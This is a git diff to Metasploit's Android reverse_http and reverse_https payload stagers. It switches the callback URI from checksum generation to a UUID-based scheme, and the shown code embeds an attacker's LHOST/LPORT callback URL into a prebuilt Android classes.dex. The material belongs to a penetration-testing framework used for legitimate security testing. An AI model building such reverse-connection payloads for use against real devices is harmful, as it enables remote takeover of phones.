diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index 1830d5ae62..99c5359be8 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/uuid_options' module Metasploit3 @@ -12,6 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Dalvik + include Msf::Payload::UUIDOptions def initialize(info = {}) super(merge_info(info, @@ -37,7 +39,7 @@ module Metasploit3 lurl = "ZZZZhttp://#{datastore["LHOST"]}" lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] lurl << "/" - lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) + lurl << generate_uri_uuid_mode(:init_java, uri_req_len) classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index f1517bb1c1..9aa3b13bc8 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/uuid_options' module Metasploit3 @@ -12,6 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Dalvik + include Msf::Payload::UUIDOptions def initialize(info = {}) super(merge_info(info, @@ -37,7 +39,7 @@ module Metasploit3 lurl = "ZZZZhttps://#{datastore["LHOST"]}" lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] lurl << "/" - lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) + lurl << generate_uri_uuid_mode(:init_java, uri_req_len) classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)